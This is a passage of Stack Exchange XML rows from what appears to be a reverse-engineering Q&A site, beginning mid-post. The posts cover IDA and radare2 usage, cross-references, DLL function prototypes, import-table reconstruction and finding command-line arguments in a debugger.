there, Baby!&#xA;&#xA;[0x7f5399600c30]&amp;gt; db entry0&#xA;[0x7f5399600c30]&amp;gt; db main&#xA;[0x7f5399600c30]&amp;gt; db&#xA;0x004025b0 - 0x004025b1 1 --x sw break enabled cmd=&quot;&quot; cond=&quot;&quot; name=&quot;entry0&quot; module=&quot;/bin/cat&quot;&#xA;0x004019e0 - 0x004019e1 1 --x sw break enabled cmd=&quot;&quot; cond=&quot;&quot; name=&quot;main&quot; module=&quot;/bin/cat&quot;&#xA;[0x7f5399600c30]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-04-21T05:15:54.510" LastActivityDate="2018-04-21T05:15:54.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18058" PostTypeId="2" ParentId="18046" CreationDate="2018-04-21T10:44:21.257" Score="2" Body="&lt;p&gt;Some programs don't like it when you change their code, some protectors check for memory modifications.&#xA;Once I used a hack that patches directly the code and got instantly banned from the server.&lt;/p&gt;&#xA;" OwnerUserId="24110" LastActivityDate="2018-04-21T10:44:21.257" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18063" PostTypeId="1" AcceptedAnswerId="18108" CreationDate="2018-04-21T23:26:17.140" Score="1" ViewCount="1779" Body="&lt;p&gt;I'm using ida 6.8 SDK and i have an problem with saving changed variables names,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used many functions like set_reg_name(C++), setMemberName(in python), &#xA;they change the name but not permanently, after pressing refresh , or reopening ida, the variables have old names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What function is used when u press &quot;N&quot; Rename Iyvar, and were to get info on correct way of saving changed variable names ?&lt;/p&gt;&#xA;" OwnerUserId="14279" LastEditorUserId="2147" LastEditDate="2018-09-27T07:28:40.993" LastActivityDate="2020-12-25T03:16:31.060" Title="IDA SDK - Rename Variable permanently" Tags="|ida|idapro-sdk|" AnswerCount="3" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="18065" PostTypeId="1" CreationDate="2018-04-22T20:27:33.773" Score="0" ViewCount="114" Body="&lt;p&gt;I have software that run on windows well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to debug it with IDA (local win32 debug) but when I start it I see that exeption throw and I cant debug it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont use breakpoints&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that anti debug mechanism?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to fix it and debug?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="23993" LastEditDate="2018-04-22T20:49:53.677" LastActivityDate="2018-04-23T11:01:16.180" Title="Cant debug software with ida" Tags="|ida|anti-debugging|" AnswerCount="1" CommentCount="1" ClosedDate="2018-04-24T07:09:42.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="18066" PostTypeId="2" ParentId="18065" CreationDate="2018-04-23T11:01:16.180" Score="1" Body="&lt;p&gt;Sometimes application throws exceptions and its ok. You may try to pass it back to the application and continue the execution, IDA actually suggests you this when exception happens. If you keep coming back to the same exception again and again - this could be an antidebugging trick.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-23T11:01:16.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18068" PostTypeId="2" ParentId="18033" CreationDate="2018-04-23T17:03:14.667" Score="0" Body="&lt;p&gt;If the program is not obfuscated you can recover something very similar to the source code (even if you don't have a PDB file), I've done it once using reflector (you can use also dnSpy, which is an open source software), but after that you have to fix a lot of things (like the names of anonymous method)&lt;/p&gt;&#xA;" OwnerUserId="24110" LastActivityDate="2018-04-23T17:03:14.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18069" PostTypeId="2" ParentId="17995" CreationDate="2018-04-23T17:51:11.317" Score="3" Body="&lt;p&gt;1) If by pointer you mean &quot;pattern&quot; or &quot;watermark&quot; the first thing that comes into my mind is BlackMagic (read &lt;a href=&quot;https://github.com/acidburn974/Blackmagic/blob/master/BlackMagic/BMPattern.cs&quot; rel=&quot;nofollow noreferrer&quot;&gt;FindPattern&lt;/a&gt; function)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A program is a file that have a certain structure (PE file format), so you have to read it as an array since all you want to do is replacing bytes withing a range&lt;/li&gt;&#xA;&lt;li&gt;after obtaining the Start offset and End offset (which are the address of the &quot;Begin&quot; and &quot;End&quot; respectively) you disassemble the bytes between them, you can use for example &lt;a href=&quot;https://github.com/gdabah/distorm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Distorm&lt;/a&gt; or &lt;a href=&quot;http://www.ollydbg.de/srcdescr.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Olly disasm&lt;/a&gt; (this one can assemble back your code)&lt;/li&gt;&#xA;&lt;li&gt;the original code should replaced by something like (don't forget to replace the remaining bytes)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;push offset dllName    &#xA;call LoadLibraryA    ; load the dll&#xA;&#xA;push offset FunctionName     &#xA;push eax  &#xA;call GetProcAddress   ; obtain the address of the moved function&#xA;&#xA;call/jmp eax ; call or jump to the moved function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;3) At this point the disassembled code should have been obfuscated/encrypted, and since it will be moved to another dll it's there (inside the dll) where it should be compiled back, you can either choose to assemble it manually (on memory) with (for example) Olly disasm (your program should manually generate a dll which is a lot of effort) or compile it (to disk) with (for example) MASM32&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you should check that addresses inside the moved function is not called/reference somewhere else&lt;/li&gt;&#xA;&lt;li&gt;in case of presence of relocation (i.e the program doesn't have fixed image base) the addresses referenced by the moved function should be updated at runtime (for example : patched by the decryption routine)&lt;/li&gt;&#xA;&lt;li&gt;You should learn more about PE structure since you'll have to deal a lot with it in your project.&lt;/li&gt;&#xA;&lt;li&gt;this are some hints and not the only way to do it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24110" LastEditorUserId="24110" LastEditDate="2018-04-23T19:35:57.617" LastActivityDate="2018-04-23T19:35:57.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18070" PostTypeId="1" AcceptedAnswerId="18071" CreationDate="2018-04-23T20:04:43.927" Score="1" ViewCount="816" Body="&lt;p&gt;I have an exe file and a dll file. This exe file uses the dll to decode input file. This exe file is gui based and does not support command line execution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my requirement is to create a program which loads this dll and use the funciton to decode an input file so that I can use this program in some scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exe expects two inputs. Source file name and destination file name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PHUFk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PHUFk.png&quot; alt=&quot;exe parameters&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I disassembled the exe, only 1 parameter is being passed to the dll function call, which is the source file name. &lt;strong&gt;I couldn't find how the destination file name is passed to the function.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SZQFY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SZQFY.png&quot; alt=&quot;dll function call in exe&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembly of dll function shows 2 exported functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kf6ub.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kf6ub.png&quot; alt=&quot;dll exports&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;assembly code for dll function from IDA is as follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yZhLo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yZhLo.png&quot; alt=&quot;convert2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While calling the dll function from exe, the stack is as follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PXbnp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PXbnp.png&quot; alt=&quot;stack during function call&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this I understood that the a pointer to the source file name is passed as the argument. The pointer points to the following memory location.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/W9oO2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9oO2.png&quot; alt=&quot;pointer stack contents&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M1Yqq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M1Yqq.png&quot; alt=&quot;pointer memory contents&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From this much information, is it possible to identify the function prototype of the dll function.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24123" LastEditorUserId="24123" LastEditDate="2018-04-27T08:48:04.747" LastActivityDate="2018-04-27T08:48:04.747" Title="identifying function prototype from dll" Tags="|ida|disassembly|windows|dll|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18071" PostTypeId="2" ParentId="18070" CreationDate="2018-04-23T20:50:19.300" Score="1" Body="&lt;p&gt;It’s hard to say for sure without full binary or all called functions but going by the debugger screens it looks like the argument is pointer to a structure with  layout similar to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct PARAMS {&#xA;  char *inputfname;&#xA;  int flag1;&#xA;  char *outfname;&#xA;  int flag2;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There maybe other fields not obvious from the posted info, but you could try to start with this.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-04-23T20:50:19.300" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18073" PostTypeId="1" CreationDate="2018-04-24T03:54:17.323" Score="-1" ViewCount="163" Body="&lt;p&gt;I'm working on a disassembly project for my class where I'm trying to bypass a license check, but when I throw the executable into Binary Ninja this is what I see:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/26zvR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/26zvR.jpg&quot; alt=&quot;Function pointers within binary ninja&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And when I look at those pointers, they are all pointing to the same block of hex:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Dp61f.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dp61f.jpg&quot; alt=&quot;Block of hex&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure what to make of it, or even how to interpret it. Any advice would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="24130" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-04-24T08:14:47.073" Title="Understanding what is represented by function pointers to a block of hex" Tags="|disassembly|assembly|binary-analysis|static-analysis|hex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18074" PostTypeId="1" AcceptedAnswerId="18076" CreationDate="2018-04-24T04:55:21.960" Score="5" ViewCount="8901" Body="&lt;p&gt;I have been learning about the x86 assembly language by analyzing a binary using radare2 that is stored on a Intel 80386 machine. When I have been analyzing functions on the binary, I noticed that &quot;XREF&quot; is repeatedly called from various addresses in the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oqWO6.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oqWO6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it mean? I've looked up &quot;xref&quot; all over the web and have been unable to find any definitive answer. &lt;/p&gt;&#xA;" OwnerUserId="24090" LastActivityDate="2018-04-24T05:27:22.453" Title="What does XREF mean?" Tags="|assembly|x86|radare2|call|intel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18075" PostTypeId="2" ParentId="18074" CreationDate="2018-04-24T05:03:58.467" Score="2" Body="&lt;p&gt;It means a &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Cross-reference&quot; rel=&quot;nofollow noreferrer&quot;&gt;cross-reference&lt;/a&gt;. It shows you that this part of code is called or referenced (like data) from another. &lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-04-24T05:03:58.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18076" PostTypeId="2" ParentId="18074" CreationDate="2018-04-24T05:27:22.453" Score="8" Body="&lt;p&gt;Cross References (or simply XREFs) is a feature of disassemblers to show you where certain functions and objects were called from or which functions and objects are used by a specific function. We can simplify it by relate to it as XREF-To and XREF-From. The referenced can be either Data or Code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XREFs are a valuable resource when we want to figure out exactly where a function was called from or what functions the current function calls. This, as you understand, can be quite useful, so we don’t have to iterate the stack for frame pointers to look for the function that called the current function or alternatively searching by hand for a CALLs to specific addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As can be seen in your screenshot, radare2 mentions that a specific address is referenced from (&quot;XREF from&quot;) several different locations (addresses) in the code. Using radare's &lt;code&gt;ax?&lt;/code&gt; subcommands you can easily view XREFS. For example, &lt;code&gt;axt 0xfa1afe1&lt;/code&gt; will show you Xrefs &lt;strong&gt;t&lt;/strong&gt;o &lt;code&gt;0xfa1afe1&lt;/code&gt; and &lt;code&gt;axf 0xfa1afe1&lt;/code&gt; will show you Xrefs &lt;strong&gt;f&lt;/strong&gt;rom &lt;code&gt;0xfa1afe1&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-04-24T05:27:22.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18077" PostTypeId="2" ParentId="18073" CreationDate="2018-04-24T08:14:47.073" Score="1" Body="&lt;p&gt;This looks like an import table. I.e. it holds the information about the functions which are called from the other dynamic libraries.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-24T08:14:47.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18078" PostTypeId="2" ParentId="17999" CreationDate="2018-04-24T09:45:52.120" Score="1" Body="&lt;p&gt;Renesas provides a &lt;a href=&quot;https://gcc-renesas.com/rx-download-toolchains/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GNU toolchain for the RX series&lt;/a&gt; which likely includes &lt;code&gt;objdump&lt;/code&gt; tool which should be able to disassemble code for RX. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-04-24T09:45:52.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18079" PostTypeId="1" CreationDate="2018-04-24T14:17:26.637" Score="4" ViewCount="3256" Body="&lt;p&gt;So, I have this problem: I'm trying to do a homework which, at one point, asks us to use IDA to debug a simple program step by step. The deal is, when I load the executable in IDA, the Debugger option in the menu suddenly dissapears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly is happening, or what am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="24135" LastActivityDate="2018-05-24T16:43:56.703" Title="IDA Pro's Debugger option disssapears" Tags="|ida|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18080" PostTypeId="1" CreationDate="2018-04-24T15:24:22.390" Score="2" ViewCount="85" Body="&lt;p&gt;A few months ago I started to reverse engineer an Android app, and i have pretty much progress in it, but it's updated weekly. How should i go about updating the reversed code? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for ways to record and replay the refactorings, but I've found nothing about it, and I also realized it's not a good way if i use deobfuscation in jadx (just to make some class names valid, because a lot of them would start with numbers..), because the new names of methods and classes are based on counting them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main goal is not to have code which I can use to rebuild the app, I only need it to understand the inner workings of it and to know where and how to hook with Xposed. The goal now is to update my project with the changes of the new version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using Android Studio for reversing android apps, and jadx 0.7.1 to decompile them.&lt;/p&gt;&#xA;" OwnerUserId="24137" LastActivityDate="2018-04-24T15:24:22.390" Title="How to update reversed code of an updated application?" Tags="|android|apk|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18081" PostTypeId="1" CreationDate="2018-04-24T16:14:31.423" Score="1" ViewCount="2544" Body="&lt;p&gt;Pretty new to RE so sorry if this is a dumb question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to manually unpack an executable and I believe I've found the OEP. However, when I use Scylla to try to fix the import table of the dumped .exe I get some invalid/missing results, and I couldn't find any information on how to determine the correct function to assign. I tried running the tool Universal Import Fixer, which seems to fix all the invalid imports but I would be unable to fix my dumped file. Any help would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of what I see:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/elqud.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/elqud.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24138" LastActivityDate="2020-10-13T15:52:25.130" Title="FThunks when trying to get IAT" Tags="|unpacking|x64dbg|iat|import-reconstruction|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18082" PostTypeId="2" ParentId="18079" CreationDate="2018-04-24T16:40:30.400" Score="2" Body="&lt;p&gt;You are not specifying what IDA version you are using and if at all you are trying to run the code that could be debugged by IDA on the machine that you are running it, but there might be another case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris Eagle in this The IDA Pro Book writes...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;IDA attempts to warn you of this possibility anytime you select Debugger → Start Process (or Debugger →&#xA;  Attach to process with an open database) by displaying a debugger warning&#xA;  message stating the following:&lt;br /&gt;&lt;br /&gt;&#xA;  You are going to launch the debugger. Debugging a program&#xA;  means that its code will be executed on your system.&#xA;  Be careful with malicious programs, viruses and trojans!&lt;br /&gt;&lt;br /&gt;&#xA;  REMARK: if you select ‘No’, the debugger will be automatically&#xA;  disabled.&#xA;  Are you sure you want to continue?&lt;br /&gt;&lt;br /&gt;&#xA;  &lt;strong&gt;Selecting No in response to this warning causes the Debugger menu&#xA;  to be removed from the IDA menu bar. The Debugger menu will not be&#xA;  restored until you close the active database.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So maybe at one point you've answered &lt;code&gt;no&lt;/code&gt; and IDA remembers this in the database? Try new analysis from scratch to see if the menu gets restored.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-04-24T16:40:30.400" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18083" PostTypeId="2" ParentId="18081" CreationDate="2018-04-24T17:12:11.953" Score="1" Body="&lt;p&gt;the pointer you are pointing to in your screen shot contains ascii strings &lt;/p&gt;&#xA;&#xA;&lt;p&gt;do the app use some dll like BCMenu or Windows Classic Theme etc &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;&#xA;00000000  42 43 4D 65 6E 75 00 00 57 69 6E 64 6F 77 73 20  BCMenu..Windows &#xA;00000010  43 6C 61 73 73 69 63 2E 74 68 65 6D 65           Classic.theme&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;google says BCMenu is some cool class by one brent that does owner drawn thingamagic   in mfc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the original site of brent corkum has gone defunct since 2015 but wayback has got several snapshots &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-04-24T17:25:33.763" LastActivityDate="2018-04-24T17:25:33.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18085" PostTypeId="1" AcceptedAnswerId="18090" CreationDate="2018-04-25T00:00:47.430" Score="7" ViewCount="2174" Body="&lt;p&gt;This might have a simple solution but I can't find it anywhere.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; ./be1 11 AAAAA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;gdb&lt;/code&gt;, finding &lt;code&gt;argv[]&lt;/code&gt; and &lt;code&gt;argc&lt;/code&gt; is simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) print argv[0]@argc&#xA;$7 = {0xbffff872 &quot;be1&quot;, 0xbffff89a &quot;11&quot;, 0xbffff89d &quot;AAAAA&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, how can we do this with radare2 ?&lt;/p&gt;&#xA;" OwnerUserId="24097" LastEditorUserId="53" LastEditDate="2018-04-25T15:51:16.417" LastActivityDate="2018-04-25T21:33:06.917" Title="Radare2 Find command line arguments and location in stack" Tags="|binary-analysis|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18086" PostTypeId="1" CreationDate="2018-04-25T02:40:20.750" Score="1" ViewCount="2639" Body="&lt;p&gt;Is there anyone who can guide me how do i do snarfing of firmware on a chip of a VIN Tuner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone who can do it ?&lt;/p&gt;&#xA;" OwnerUserId="24147" LastEditorUserId="30210" LastEditDate="2019-12-30T15:23:06.310" LastActivityDate="2019-12-30T15:23:06.310" Title="How to extract firmware from a chip ( snarfing)" Tags="|disassemblers|binary-editing|" AnswerCount="1" CommentCount="5" ClosedDate="2018-04-27T05:32:49.077" ContentLicense="CC BY-SA 4.0" />
  <row Id="18088" PostTypeId="1" CreationDate="2018-04-25T04:22:56.337" Score="4" ViewCount="10005" Body="&lt;p&gt;An entry point is considered to be the first point to be made in a program. So if I start at any position in the program to start analyzing it can be considered an entry point is not ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help me! Thank all.&lt;/p&gt;&#xA;" OwnerUserId="22983" LastActivityDate="2018-04-25T09:40:18.303" Title="Start analysis at any position in elf is Entry Point?" Tags="|elf|entry-point|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18089" PostTypeId="2" ParentId="18088" CreationDate="2018-04-25T06:04:49.020" Score="1" Body="&lt;p&gt;Entry point is where system loader will start execution of your executable. It's the entrypoint for the Operating system to begin execution in your program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The analogy could be &quot;main()&quot; function for C/C++ compilers.&lt;/p&gt;&#xA;" OwnerUserId="23009" LastActivityDate="2018-04-25T06:04:49.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18090" PostTypeId="2" ParentId="18085" CreationDate="2018-04-25T07:03:55.790" Score="7" Body="&lt;p&gt;radare2 currently doesn't &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/basic_commands/flags.html&quot; rel=&quot;noreferrer&quot;&gt;flags&lt;/a&gt; &lt;code&gt;argv&lt;/code&gt; and &lt;code&gt;argc&lt;/code&gt;. Yet, it shouldn't be something complicated to implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although these arguments are not flagged by radare2, they can be easily be visible to us by inspecting the registers. Let's do it step by step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume we have the following program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat example.c&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(int argc, char *argv[]) {&#xA;&#xA;   printf( &quot;argv[1]: %s\n&quot;, argv[1]);&#xA;&#xA;   return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the program is doing is to print the first argument given to it. Simple as that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's compile it in &lt;code&gt;gcc&lt;/code&gt; and open it in debug-mode with &lt;code&gt;radare2&lt;/code&gt; using the &lt;code&gt;-d&lt;/code&gt; flag, and pass an argument to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc example.c -o example.elf&#xA;$ r2 -d example.elf ABCDEFGH&#xA;Process with PID 104 started...&#xA;= attach 104 104&#xA;bin.baddr 0x00400000&#xA;Using 0x400000&#xA;asm.bits 64&#xA; -- Nothing to see here. Move along.&#xA;[0x7f3c8f000c30]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's quickly analyze the program using &lt;code&gt;aa&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f3c8f000c30]&amp;gt; aa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, let's execute the program until we reach &lt;code&gt;main()&lt;/code&gt;. We can do this by setting a breakpoint at &lt;code&gt;main&lt;/code&gt; using &lt;code&gt;db main&lt;/code&gt; and continue the execution until the program reaches the breakpoint using &lt;code&gt;dc&lt;/code&gt;. &lt;strong&gt;Or&lt;/strong&gt;, we can simply use &lt;code&gt;dcu [addr]&lt;/code&gt; -- a very nice command that will continue the execution until a specific address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f3c8f000c30]&amp;gt; dcu main&#xA;Continue until 0x00400526 using 1 bpsize&#xA;hit breakpoint at: 400526&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;radare2 stopped the execution of the program at &lt;code&gt;main&lt;/code&gt;. Great! Let's move on and print the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400526]&amp;gt; pdf&#xA;            ;-- main:&#xA;            ;-- rax:&#xA;            ;-- rip:&#xA;╭ (fcn) sym.main 51&#xA;│   sym.main ();&#xA;│           ; var int local_10h @ rbp-0x10&#xA;│           ; var int local_4h @ rbp-0x4&#xA;│           ; DATA XREF from 0x0040044d (entry0)&#xA;│           0x00400526      55             push rbp&#xA;│           0x00400527      4889e5         mov rbp, rsp&#xA;│           0x0040052a      4883ec10       sub rsp, 0x10&#xA;│           0x0040052e      897dfc         mov dword [local_4h], edi&#xA;│           0x00400531      488975f0       mov qword [local_10h], rsi&#xA;│           0x00400535      488b45f0       mov rax, qword [local_10h]&#xA;│           0x00400539      4883c008       add rax, 8&#xA;│           0x0040053d      488b00         mov rax, qword [rax]&#xA;│           0x00400540      4889c6         mov rsi, rax&#xA;│           0x00400543      bfe4054000     mov edi, str.argv_1_:__s    ; 0x4005e4 ; &quot;argv[1]: %s\n&quot;&#xA;│           0x00400548      b800000000     mov eax, 0&#xA;│           0x0040054d      e8aefeffff     call sym.imp.printf         ; int printf(const char *format)&#xA;│           0x00400552      b800000000     mov eax, 0&#xA;│           0x00400557      c9             leave&#xA;╰           0x00400558      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you may know, in a GCC compiled program, at &lt;code&gt;main&lt;/code&gt;'s entry, &lt;code&gt;edi&lt;/code&gt; will hold &lt;code&gt;argc&lt;/code&gt; and &lt;code&gt;rsi&lt;/code&gt; (a pointer on the stack) will hold &lt;code&gt;argv&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can print their addresses like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400526]&amp;gt; dr rsi&#xA;0x7ffff02302b8&#xA;[0x00400526]&amp;gt; dr edi&#xA;0x00000002&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the value of &lt;code&gt;argc&lt;/code&gt; (&lt;code&gt;edi&lt;/code&gt;) is &lt;code&gt;0x2&lt;/code&gt; which is expected since the arguments are the file name and &quot;ABCDEFGH&quot;. The address of the pointer &lt;code&gt;argv&lt;/code&gt; (&lt;code&gt;rsi&lt;/code&gt;) is &lt;code&gt;0x7ffff02302b8&lt;/code&gt;. In order to print the content of &lt;code&gt;* argv&lt;/code&gt; (&lt;code&gt;rsi&lt;/code&gt;) we can 